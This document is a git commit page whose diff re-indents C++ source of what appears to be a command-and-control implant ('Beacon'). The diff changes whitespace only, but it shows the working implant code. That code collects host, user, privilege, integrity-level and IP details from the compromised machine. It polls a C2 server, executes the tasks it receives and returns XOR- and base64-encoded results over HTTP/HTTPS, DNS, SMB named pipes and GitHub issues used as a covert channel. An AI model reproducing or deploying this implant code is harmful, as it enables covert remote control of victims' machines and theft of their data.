Normalize C++ indentation to four spaces

This commit is contained in:
Maxime dcb
2025-10-14 16:05:39 +02:00
parent 46975f58dc
commit 2f6652ddbb
117 changed files with 11326 additions and 11326 deletions
+249 -249
View File
@@ -51,13 +51,13 @@ std::string getInternalIP()
struct ifaddrs* ifAddrStruct = nullptr;
getifaddrs(&ifAddrStruct);
std::string ips = "";
std::string ips = "";
for (struct ifaddrs* ifa = ifAddrStruct; ifa != nullptr; ifa = ifa->ifa_next)
{
{
if (ifa->ifa_addr && ifa->ifa_addr->sa_family == AF_INET)
{
if(!ips.empty())
ips+="\n";
{
if(!ips.empty())
ips+="\n";
void* tmpAddrPtr = &((struct sockaddr_in*)ifa->ifa_addr)->sin_addr;
char addressBuffer[INET_ADDRSTRLEN];
@@ -65,17 +65,17 @@ std::string getInternalIP()
// Filter out loopback
if (std::string(ifa->ifa_name) != "lo")
{
ips += ifa->ifa_name;
ips += ": ";
ips += addressBuffer;
}
{
ips += ifa->ifa_name;
ips += ": ";
ips += addressBuffer;
}
}
}
if (ifAddrStruct)
freeifaddrs(ifAddrStruct);
return ips;
freeifaddrs(ifAddrStruct);
return ips;
}
@@ -103,14 +103,14 @@ std::string getInternalIP()
WSADATA wsaData;
char hostname[256];
std::string ips = "";
std::string ips = "";
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
{
return ips;
}
if (gethostname(hostname, sizeof(hostname)) == SOCKET_ERROR)
{
{
WSACleanup();
return ips;
}
@@ -121,26 +121,26 @@ std::string getInternalIP()
hints.ai_protocol = IPPROTO_TCP;
if (getaddrinfo(hostname, nullptr, &hints, &result) != 0)
{
{
WSACleanup();
return ips;
}
for (struct addrinfo* ptr = result; ptr != nullptr; ptr = ptr->ai_next)
{
if(!ips.empty())
ips+="\n";
{
if(!ips.empty())
ips+="\n";
struct sockaddr_in* sockaddr_ipv4 = reinterpret_cast<struct sockaddr_in*>(ptr->ai_addr);
char ipStr[INET_ADDRSTRLEN];
inet_ntop(AF_INET, &sockaddr_ipv4->sin_addr, ipStr, sizeof(ipStr));
ips += ipStr;
ips += ipStr;
}
freeaddrinfo(result);
WSACleanup();
return ips;
return ips;
}
@@ -152,58 +152,58 @@ int getCurrentPID()
enum IntegrityLevel
{
INTEGRITY_UNKNOWN,
UNTRUSTED_INTEGRITY,
LOW_INTEGRITY,
MEDIUM_INTEGRITY,
HIGH_INTEGRITY,
INTEGRITY_UNKNOWN,
UNTRUSTED_INTEGRITY,
LOW_INTEGRITY,
MEDIUM_INTEGRITY,
HIGH_INTEGRITY,
};
IntegrityLevel GetCurrentProcessIntegrityLevel()
{
HANDLE hToken = NULL;
BOOL result = false;
TOKEN_USER* tokenUser = NULL;
DWORD dwLength = 0;
HANDLE hToken = NULL;
BOOL result = false;
TOKEN_USER* tokenUser = NULL;
DWORD dwLength = 0;
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
DWORD token_info_length = 0;
if (::GetTokenInformation(hToken, TokenIntegrityLevel,
nullptr, 0, &token_info_length) ||
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
return INTEGRITY_UNKNOWN;
}
DWORD token_info_length = 0;
if (::GetTokenInformation(hToken, TokenIntegrityLevel,
nullptr, 0, &token_info_length) ||
::GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
return INTEGRITY_UNKNOWN;
}
auto token_label_bytes = std::make_unique<char[]>(token_info_length);
TOKEN_MANDATORY_LABEL* token_label =
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
token_label, token_info_length,
&token_info_length)) {
return INTEGRITY_UNKNOWN;
}
DWORD integrity_level = *::GetSidSubAuthority(
token_label->Label.Sid,
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
1));
auto token_label_bytes = std::make_unique<char[]>(token_info_length);
TOKEN_MANDATORY_LABEL* token_label =
reinterpret_cast<TOKEN_MANDATORY_LABEL*>(token_label_bytes.get());
if (!::GetTokenInformation(hToken, TokenIntegrityLevel,
token_label, token_info_length,
&token_info_length)) {
return INTEGRITY_UNKNOWN;
}
DWORD integrity_level = *::GetSidSubAuthority(
token_label->Label.Sid,
static_cast<DWORD>(*::GetSidSubAuthorityCount(token_label->Label.Sid) -
1));
if (integrity_level < SECURITY_MANDATORY_LOW_RID)
return UNTRUSTED_INTEGRITY;
if (integrity_level < SECURITY_MANDATORY_LOW_RID)
return UNTRUSTED_INTEGRITY;
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
return LOW_INTEGRITY;
if (integrity_level < SECURITY_MANDATORY_MEDIUM_RID)
return LOW_INTEGRITY;
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
integrity_level < SECURITY_MANDATORY_HIGH_RID) {
return MEDIUM_INTEGRITY;
}
if (integrity_level >= SECURITY_MANDATORY_MEDIUM_RID &&
integrity_level < SECURITY_MANDATORY_HIGH_RID) {
return MEDIUM_INTEGRITY;
}
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
return HIGH_INTEGRITY;
if (integrity_level >= SECURITY_MANDATORY_HIGH_RID)
return HIGH_INTEGRITY;
return INTEGRITY_UNKNOWN;
return INTEGRITY_UNKNOWN;
}
#endif
@@ -222,109 +222,109 @@ Beacon::Beacon()
#ifdef __linux__
char hostname[2048];
char username[2048];
gethostname(hostname, 2048);
getlogin_r(username, 2048);
char hostname[2048];
char username[2048];
gethostname(hostname, 2048);
getlogin_r(username, 2048);
m_hostname = hostname;
m_username = username;
m_hostname = hostname;
m_username = username;
uid_t uid = geteuid ();
struct passwd *pw = getpwuid (uid);
if (pw)
m_username = std::string(pw->pw_name);
uid_t uid = geteuid ();
struct passwd *pw = getpwuid (uid);
if (pw)
m_username = std::string(pw->pw_name);
struct utsname unameData;
uname(&unameData);
struct utsname unameData;
uname(&unameData);
m_additionalInfo = unameData.sysname;
m_additionalInfo += "\n";
m_additionalInfo += unameData.nodename;
m_additionalInfo += "\n";
m_additionalInfo += unameData.release;
m_additionalInfo += "\n";
m_additionalInfo += unameData.version;
m_additionalInfo += "\n";
m_additionalInfo += unameData.machine;
m_additionalInfo = unameData.sysname;
m_additionalInfo += "\n";
m_additionalInfo += unameData.nodename;
m_additionalInfo += "\n";
m_additionalInfo += unameData.release;
m_additionalInfo += "\n";
m_additionalInfo += unameData.version;
m_additionalInfo += "\n";
m_additionalInfo += unameData.machine;
m_arch = unameData.machine;
m_arch = unameData.machine;
m_privilege = "user";
if(m_username=="root")
m_privilege = "root";
m_privilege = "user";
if(m_username=="root")
m_privilege = "root";
m_os = unameData.sysname;
m_os += " ";
m_os += unameData.release;
#elif _WIN32
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
// Get and display the name of the computer.
m_hostname = "unknown";
if( GetComputerName( infoBuf, &bufCharCount ) )
m_hostname = infoBuf;
// Get and display the name of the computer.
m_hostname = "unknown";
if( GetComputerName( infoBuf, &bufCharCount ) )
m_hostname = infoBuf;
std::string username1;
std::string username1;
if( GetUserName( infoBuf, &bufCharCount ) )
username1 = infoBuf;
username1 = infoBuf;
// ??
std::string acctName;
std::string domainname;
// ??
std::string acctName;
std::string domainname;
TOKEN_USER tokenUser;
ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
DWORD tokenUserLength = 0;
TOKEN_USER tokenUser;
ZeroMemory(&tokenUser, sizeof(TOKEN_USER));
DWORD tokenUserLength = 0;
PTOKEN_USER pTokenUser;
GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,
0, &tokenUserLength);
pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
PTOKEN_USER pTokenUser;
GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, NULL,
0, &tokenUserLength);
pTokenUser = (PTOKEN_USER) new BYTE[tokenUserLength];
if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
{
TCHAR szUserName[_MAX_PATH];
DWORD dwUserNameLength = _MAX_PATH;
TCHAR szDomainName[_MAX_PATH];
DWORD dwDomainNameLength = _MAX_PATH;
SID_NAME_USE sidNameUse;
LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
acctName=szUserName;
domainname=szDomainName;
delete[] pTokenUser;
}
if (GetTokenInformation(GetCurrentProcessToken(), TOKEN_INFORMATION_CLASS::TokenUser, pTokenUser, tokenUserLength, &tokenUserLength))
{
TCHAR szUserName[_MAX_PATH];
DWORD dwUserNameLength = _MAX_PATH;
TCHAR szDomainName[_MAX_PATH];
DWORD dwDomainNameLength = _MAX_PATH;
SID_NAME_USE sidNameUse;
LookupAccountSid(NULL, pTokenUser->User.Sid, szUserName, &dwUserNameLength, szDomainName, &dwDomainNameLength, &sidNameUse);
acctName=szUserName;
domainname=szDomainName;
delete[] pTokenUser;
}
if(!domainname.empty())
m_username+=domainname;
else if(!m_hostname.empty())
m_username+=m_hostname;
else
m_username+=".";
if(!domainname.empty())
m_username+=domainname;
else if(!m_hostname.empty())
m_username+=m_hostname;
else
m_username+=".";
m_username+="\\";
if(!acctName.empty())
m_username+=acctName;
else if(!username1.empty())
m_username+=username1;
else
m_username+="unknow";
m_username+="\\";
if(!acctName.empty())
m_username+=acctName;
else if(!username1.empty())
m_username+=username1;
else
m_username+="unknow";
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
SYSTEM_INFO systemInfo = { 0 };
GetNativeSystemInfo(&systemInfo);
m_arch = "x64";
if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
m_arch = "x86";
m_arch = "x64";
if (systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
m_arch = "x86";
m_os = "Windows";
IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();
IntegrityLevel integrityLevel = GetCurrentProcessIntegrityLevel();
m_privilege = "-";
m_privilege = "-";
if (integrityLevel == INTEGRITY_UNKNOWN)
m_privilege = "UNKNOWN";
else if (integrityLevel == UNTRUSTED_INTEGRITY)
@@ -349,28 +349,28 @@ Beacon::Beacon()
void Beacon::run()
{
bool exit = false;
while (!exit)
{
try
{
checkIn();
bool exit = false;
while (!exit)
{
try
{
checkIn();
exit = runTasks();
sleep();
}
catch(const std::exception& ex)
{
sleep();
}
catch (...)
{
sleep();
}
}
exit = runTasks();
sleep();
}
catch(const std::exception& ex)
{
sleep();
}
catch (...)
{
sleep();
}
}
checkIn();
checkIn();
}
@@ -466,71 +466,71 @@ bool Beacon::cmdToTasks(const std::string& input)
// Create the response message from the results of all the commmands send to this beacon and child beacons
bool Beacon::taskResultsToCmd(std::string& output)
{
// Handle results of commands address to this particular Beacon
MultiBundleC2Message multiBundleC2Message;
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
// Handle results of commands address to this particular Beacon
MultiBundleC2Message multiBundleC2Message;
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
bundleC2Message->set_beaconhash(m_beaconHash);
bundleC2Message->set_hostname(m_hostname);
bundleC2Message->set_username(m_username);
bundleC2Message->set_arch(m_arch);
bundleC2Message->set_privilege(m_privilege);
bundleC2Message->set_os(m_os);
bundleC2Message->set_lastProofOfLife("0");
bundleC2Message->set_internalIps(m_ips);
bundleC2Message->set_processId(m_pid);
bundleC2Message->set_additionalInformation(m_additionalInfo);
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
bundleC2Message->set_beaconhash(m_beaconHash);
bundleC2Message->set_hostname(m_hostname);
bundleC2Message->set_username(m_username);
bundleC2Message->set_arch(m_arch);
bundleC2Message->set_privilege(m_privilege);
bundleC2Message->set_os(m_os);
bundleC2Message->set_lastProofOfLife("0");
bundleC2Message->set_internalIps(m_ips);
bundleC2Message->set_processId(m_pid);
bundleC2Message->set_additionalInformation(m_additionalInfo);
while(!m_taskResult.empty())
{
C2Message c2MessageRet=m_taskResult.front();
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
// addedC2MessageRet->CopyFrom(c2MessageRet);
bundleC2Message->add_c2messages(c2MessageRet);
m_taskResult.pop();
}
while(!m_taskResult.empty())
{
C2Message c2MessageRet=m_taskResult.front();
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
// addedC2MessageRet->CopyFrom(c2MessageRet);
bundleC2Message->add_c2messages(c2MessageRet);
m_taskResult.pop();
}
// Handle results of commands address to child sessions
// Handle results of commands address to child sessions
for(int i=0; i<m_listeners.size(); i++)
{
for(std::size_t j=0; j<m_listeners[i]->getNumberOfSession(); j++)
{
std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
{
std::shared_ptr<Session> ptr = m_listeners[i]->getSessionPtr(j);
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
bundleC2Message->set_beaconhash(ptr->getBeaconHash());
bundleC2Message->set_listenerhash(ptr->getListenerHash());
bundleC2Message->set_hostname(ptr->getHostname());
bundleC2Message->set_username(ptr->getUsername());
bundleC2Message->set_arch(ptr->getArch());
bundleC2Message->set_privilege(ptr->getPrivilege());
bundleC2Message->set_os(ptr->getOs());
bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());
bundleC2Message->set_internalIps(ptr->getInternalIps());
bundleC2Message->set_processId(ptr->getProcessId());
bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation());
BundleC2Message *bundleC2Message = multiBundleC2Message.add_bundlec2messages();
// TODO check of m_taskResult contain a getInfo cmd and add context info if it does
bundleC2Message->set_beaconhash(ptr->getBeaconHash());
bundleC2Message->set_listenerhash(ptr->getListenerHash());
bundleC2Message->set_hostname(ptr->getHostname());
bundleC2Message->set_username(ptr->getUsername());
bundleC2Message->set_arch(ptr->getArch());
bundleC2Message->set_privilege(ptr->getPrivilege());
bundleC2Message->set_os(ptr->getOs());
bundleC2Message->set_lastProofOfLife(ptr->getLastProofOfLife());
bundleC2Message->set_internalIps(ptr->getInternalIps());
bundleC2Message->set_processId(ptr->getProcessId());
bundleC2Message->set_additionalInformation(ptr->getAdditionalInformation());
C2Message c2Message = ptr->getTaskResult();
while(!c2Message.instruction().empty())
{
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
// addedC2MessageRet->CopyFrom(c2Message);
bundleC2Message->add_c2messages(c2Message);
c2Message = ptr->getTaskResult();
}
}
}
C2Message c2Message = ptr->getTaskResult();
while(!c2Message.instruction().empty())
{
// C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
// addedC2MessageRet->CopyFrom(c2Message);
bundleC2Message->add_c2messages(c2Message);
c2Message = ptr->getTaskResult();
}
}
}
std::string data;
multiBundleC2Message.SerializeToString(&data);
std::string data;
multiBundleC2Message.SerializeToString(&data);
XOR(data, m_key);
output = base64_encode(data);
XOR(data, m_key);
output = base64_encode(data);
return true;
return true;
}
@@ -538,53 +538,53 @@ bool Beacon::taskResultsToCmd(std::string& output)
// Returns true if an instruction indicates the beacon should exit, otherwise false.
bool Beacon::runTasks()
{
// Execute all recurring module commands and collect their results.
for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it)
{
C2Message c2RetMessage;
int result = (*it)->recurringExec(c2RetMessage);
// Execute all recurring module commands and collect their results.
for (auto it = m_moduleCmd.begin(); it != m_moduleCmd.end(); ++it)
{
C2Message c2RetMessage;
int result = (*it)->recurringExec(c2RetMessage);
// If the module executed successfully, store the result for response construction.
if (result)
m_taskResult.push(c2RetMessage);
}
// If the module executed successfully, store the result for response construction.
if (result)
m_taskResult.push(c2RetMessage);
}
// Process each individual task assigned to this beacon.
// These are one-time commands sent from the C2 server.
while (!m_tasks.empty())
{
C2Message c2Message = m_tasks.front();
m_tasks.pop();
// Process each individual task assigned to this beacon.
// These are one-time commands sent from the C2 server.
while (!m_tasks.empty())
{
C2Message c2Message = m_tasks.front();
m_tasks.pop();
C2Message c2RetMessage;
// Execute the instruction and generate the response.
bool exit = execInstruction(c2Message, c2RetMessage);
C2Message c2RetMessage;
// Execute the instruction and generate the response.
bool exit = execInstruction(c2Message, c2RetMessage);
// Store the result of the execution.
m_taskResult.push(std::move(c2RetMessage));
// Store the result of the execution.
m_taskResult.push(std::move(c2RetMessage));
// If the instruction indicates the beacon should exit, return immediately.
if (exit)
return exit;
}
// If the instruction indicates the beacon should exit, return immediately.
if (exit)
return exit;
}
// Add a heartbeat or "proof-of-life" message for each active listener.
// This helps the C2 track which listeners are still alive and their current state.
for (int i = 0; i < m_listeners.size(); i++)
{
C2Message listenerProofOfLife;
// Add a heartbeat or "proof-of-life" message for each active listener.
// This helps the C2 track which listeners are still alive and their current state.
for (int i = 0; i < m_listeners.size(); i++)
{
C2Message listenerProofOfLife;
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
// Add the heartbeat to the response queue.
m_taskResult.push(listenerProofOfLife);
}
// Add the heartbeat to the response queue.
m_taskResult.push(listenerProofOfLife);
}
// No exit signal was received; continue beacon execution.
return false;
// No exit signal was received; continue beacon execution.
return false;
}
+18 -18
View File
@@ -23,29 +23,29 @@ public:
Beacon();
virtual ~Beacon() = default;
bool initConfig(const std::string& config);
void run();
bool initConfig(const std::string& config);
void run();
protected:
virtual void checkIn() = 0;
bool runTasks();
void sleep();
virtual void checkIn() = 0;
bool runTasks();
void sleep();
bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage);
bool cmdToTasks(const std::string& input);
bool taskResultsToCmd(std::string& output);
bool execInstruction(C2Message& c2Message, C2Message& c2RetMessage);
bool cmdToTasks(const std::string& input);
bool taskResultsToCmd(std::string& output);
int m_aliveTimerMs;
int m_aliveTimerMs;
std::string m_beaconHash;
std::string m_hostname;
std::string m_username;
std::string m_arch;
std::string m_privilege;
std::string m_os;
std::string m_ips;
std::string m_pid;
std::string m_additionalInfo;
std::string m_beaconHash;
std::string m_hostname;
std::string m_username;
std::string m_arch;
std::string m_privilege;
std::string m_os;
std::string m_ips;
std::string m_pid;
std::string m_additionalInfo;
std::queue<C2Message> m_tasks;
std::queue<C2Message> m_taskResult;
+18 -18
View File
@@ -7,42 +7,42 @@ using namespace dns;
BeaconDns::BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain)
: Beacon()
: Beacon()
{
// beacon and modules config
// beacon and modules config
initConfig(config);
m_client=new Client(dnsServer, domain);
m_client=new Client(dnsServer, domain);
}
BeaconDns::~BeaconDns()
{
delete m_client;
delete m_client;
}
void BeaconDns::checkIn()
{
SPDLOG_DEBUG("initConnection");
{
SPDLOG_DEBUG("initConnection");
std::string output;
taskResultsToCmd(output);
std::string output;
taskResultsToCmd(output);
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
m_client->sendMessage(output);
m_client->sendMessage(output);
std::string input = m_client->requestMessage();
std::string input = m_client->requestMessage();
if(!input.empty())
{
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
cmdToTasks(input);
}
if(!input.empty())
{
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
cmdToTasks(input);
}
}
+5 -5
View File
@@ -4,18 +4,18 @@
namespace dns
{
class Client;
class Client;
}
class BeaconDns : public Beacon
{
public:
BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain);
~BeaconDns();
BeaconDns(std::string& config, const std::string& dnsServer, const std::string& domain);
~BeaconDns();
private:
void checkIn();
void checkIn();
dns::Client* m_client;
dns::Client* m_client;
};
+26 -26
View File
@@ -70,8 +70,8 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri
json httpHeaders = {
{ "Accept", "application/vnd.github+json" },
{ "Authorization", auth },
{ "Cookie", "logged_in=no" }
{ "Authorization", auth },
{ "Cookie", "logged_in=no" }
};
for (auto& it : httpHeaders.items())
@@ -115,9 +115,9 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
{
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
}
}
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
@@ -133,9 +133,9 @@ int BeaconGithub::GithubPost(const string& domain, const string& url, const stri
DWORD dwDownloaded = 0;
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
{
// printf("Error %u in WinHttpReadData.\n", GetLastError());
}
}
else
{
// printf("%s", pszOutBuffer);
@@ -198,8 +198,8 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res
json httpHeaders = {
{ "Accept", "application/vnd.github+json" },
{ "Authorization", auth },
{ "Cookie", "logged_in=no" }
{ "Authorization", auth },
{ "Cookie", "logged_in=no" }
};
for (auto& it : httpHeaders.items())
@@ -239,9 +239,9 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
{
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
}
}
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
@@ -257,9 +257,9 @@ int BeaconGithub::GithubGet(const string& domain, const string& url, string& res
DWORD dwDownloaded = 0;
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
{
// printf("Error %u in WinHttpReadData.\n", GetLastError());
}
}
else
{
// printf("%s", pszOutBuffer);
@@ -307,9 +307,9 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
if(nbComments!=0)
{
std::string issueEndpoint = "/repos/";
issueEndpoint += m_project;
issueEndpoint += m_project;
issueEndpoint += "/issues/";
issueEndpoint += std::to_string(number);
issueEndpoint += std::to_string(number);
issueEndpoint += "/comments";
statusCode = GithubGet(domain, issueEndpoint, response);
@@ -351,9 +351,9 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
// close the issue
std::string issueEndpoint = "/repos/";
issueEndpoint += m_project;
issueEndpoint += m_project;
issueEndpoint += "/issues/";
issueEndpoint += std::to_string(number);
issueEndpoint += std::to_string(number);
// Post data
json responseData = {{"state", "closed"}};
@@ -372,7 +372,7 @@ int BeaconGithub::HandleRequest(const string& domain, const string& url)
BeaconGithub::BeaconGithub(std::string& config, const std::string& project, const std::string& token)
: Beacon()
: Beacon()
, m_project(project)
, m_token(token)
{
@@ -409,8 +409,8 @@ void BeaconGithub::checkIn()
// httplib::Client cli(url);
// std::string endpoint = "/repos/";
// endpoint += m_project;
// endpoint += "/issues";
// endpoint += m_project;
// endpoint += "/issues";
// std::cout << "endpoint " << endpoint << std::endl;
@@ -462,13 +462,13 @@ void BeaconGithub::checkIn()
// std::string number = issue["number"];
// std::string issueEndpoint = "/repos/";
// issueEndpoint += m_project;
// issueEndpoint += m_project;
// issueEndpoint += "/issues/";
// issueEndpoint += number;
// issueEndpoint += number;
// // auto response = cli.Post(issueEndpoint, headers, data, contentType);
// }
// }
// }
// }
#elif _WIN32
@@ -476,13 +476,13 @@ void BeaconGithub::checkIn()
std::string url = "api.github.com";
std::string endPoint = "/repos/";
endPoint += m_project;
endPoint += "/issues";
endPoint += m_project;
endPoint += "/issues";
std::cout << "endPoint " << endPoint << std::endl;
std::string output;
taskResultsToCmd(output);
std::string output;
taskResultsToCmd(output);
// Sent response
// TODO handle big response with multiple comments
+9 -9
View File
@@ -7,20 +7,20 @@ class BeaconGithub : public Beacon
{
public:
BeaconGithub(std::string& config, const std::string& project, const std::string& token);
~BeaconGithub();
BeaconGithub(std::string& config, const std::string& project, const std::string& token);
~BeaconGithub();
void checkIn();
void checkIn();
private:
std::string m_project;
std::string m_token;
private:
std::string m_project;
std::string m_token;
#ifdef _WIN32
int HandleRequest(const std::string& domain, const std::string& url);
int HandleRequest(const std::string& domain, const std::string& url);
int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response);
int GithubGet(const std::string& domain, const std::string& url, std::string &response);
int GithubPost(const std::string& domain, const std::string& url, const std::string& data, std::string &response);
int GithubGet(const std::string& domain, const std::string& url, std::string &response);
#endif
};
+11 -11
View File
@@ -126,9 +126,9 @@ string HttpsWebRequestPost(const string& domain, int port, const string& url, co
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
{
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
}
}
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
@@ -144,9 +144,9 @@ string HttpsWebRequestPost(const string& domain, int port, const string& url, co
DWORD dwDownloaded = 0;
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
{
// printf("Error %u in WinHttpReadData.\n", GetLastError());
}
}
else
{
// printf("%s", pszOutBuffer);
@@ -260,9 +260,9 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
// Check for available data.
dwSize = 0;
if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
{
{
// printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
}
}
// Allocate space for the buffer.
pszOutBuffer = new char[dwSize + 1];
@@ -278,9 +278,9 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
DWORD dwDownloaded = 0;
if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
{
{
// printf("Error %u in WinHttpReadData.\n", GetLastError());
}
}
else
{
// printf("%s", pszOutBuffer);
@@ -313,7 +313,7 @@ string HttpsWebRequestGet(const string& domain, int port, const string& url, con
BeaconHttp::BeaconHttp(std::string& config, std::string& ip, int port, bool isHttps)
: Beacon()
: Beacon()
, m_isHttps(isHttps)
{
srand(time(NULL));
@@ -420,8 +420,8 @@ void BeaconHttp::checkIn()
endPoint = httpUri[ rand() % httpUri.size() ];
}
std::string output;
taskResultsToCmd(output);
std::string output;
taskResultsToCmd(output);
nlohmann::json httpHeaders;
if(!m_isHttps)
+7 -7
View File
@@ -7,16 +7,16 @@ class BeaconHttp : public Beacon
{
public:
BeaconHttp(std::string& config, std::string& ip, int port, bool https=false);
~BeaconHttp();
BeaconHttp(std::string& config, std::string& ip, int port, bool https=false);
~BeaconHttp();
void checkIn();
void checkIn();
private:
std::string m_ip;
int m_port;
std::string m_ip;
int m_port;
nlohmann::json m_beaconHttpConfig;
bool m_isHttps;
nlohmann::json m_beaconHttpConfig;
bool m_isHttps;
};
+38 -38
View File
@@ -6,62 +6,62 @@ using namespace PipeHandler;
BeaconSmb::BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName)
: Beacon()
: Beacon()
{
// beacon and modules config
// beacon and modules config
initConfig(config);
m_clientSmb = new PipeHandler::Client(ip, pipeName);
m_clientSmb = new PipeHandler::Client(ip, pipeName);
}
BeaconSmb::~BeaconSmb()
{
delete m_clientSmb;
delete m_clientSmb;
}
void BeaconSmb::checkIn()
{
SPDLOG_DEBUG("initConnection");
while(!m_clientSmb->initConnection())
{
std::this_thread::sleep_for(std::chrono::milliseconds(333));
SPDLOG_DEBUG("initConnection");
}
SPDLOG_DEBUG("initConnection");
while(!m_clientSmb->initConnection())
{
std::this_thread::sleep_for(std::chrono::milliseconds(333));
SPDLOG_DEBUG("initConnection");
}
std::string output;
taskResultsToCmd(output);
std::string output;
taskResultsToCmd(output);
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
SPDLOG_DEBUG("sending output.size {0}", std::to_string(output.size()));
bool res = m_clientSmb->sendData(output);
if(res)
{
string input;
while(input.empty())
{
res=m_clientSmb->receiveData(input);
std::this_thread::sleep_for(std::chrono::milliseconds(50));
}
if(res)
{
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
bool res = m_clientSmb->sendData(output);
if(res)
{
string input;
while(input.empty())
{
res=m_clientSmb->receiveData(input);
std::this_thread::sleep_for(std::chrono::milliseconds(50));
}
if(res)
{
SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size()));
if(!input.empty())
{
cmdToTasks(input);
}
}
else
{
SPDLOG_DEBUG("Receive failed");
}
}
else
SPDLOG_DEBUG("Send failed");
if(!input.empty())
{
cmdToTasks(input);
}
}
else
{
SPDLOG_DEBUG("Receive failed");
}
}
else
SPDLOG_DEBUG("Send failed");
m_clientSmb->closeConnection();
m_clientSmb->closeConnection();
}
+5 -5
View File
@@ -5,19 +5,19 @@
namespace PipeHandler
{
class Client;
class Client;
}
class BeaconSmb : public Beacon
{
public:
BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName);
~BeaconSmb();
BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName);
~BeaconSmb();
private:
void checkIn();
void checkIn();
PipeHandler::Client* m_clientSmb;
PipeHandler::Client* m_clientSmb;
};
+28 -28
View File
@@ -5,21 +5,21 @@ using namespace std;
